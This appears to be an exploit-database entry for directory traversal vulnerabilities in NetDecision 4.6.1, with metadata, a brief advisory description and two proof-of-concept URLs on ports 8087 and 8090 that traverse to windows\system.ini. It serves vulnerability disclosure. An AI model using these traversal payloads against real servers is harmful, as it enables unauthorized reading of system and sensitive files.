NetDecision 4.6.1 - Multiple Directory Traversal Vulnerabilities

Author: Luigi Auriemma
type: remote
platform: windows
port: 
date_added: 2012-03-07
date_updated: 2015-05-06
verified: 1
codes: OSVDB-79863
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/52327/info

NetDecision is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting the issues can allow an attacker to obtain sensitive information that could aid in further attacks.

NetDecision 4.6.1 is vulnerable; other versions may also be affected.

http://www.example.com:8087/...\...\...\...\...\...\windows\system.ini
http://www.example.com:8090/.../.../.../.../.../.../windows/system.ini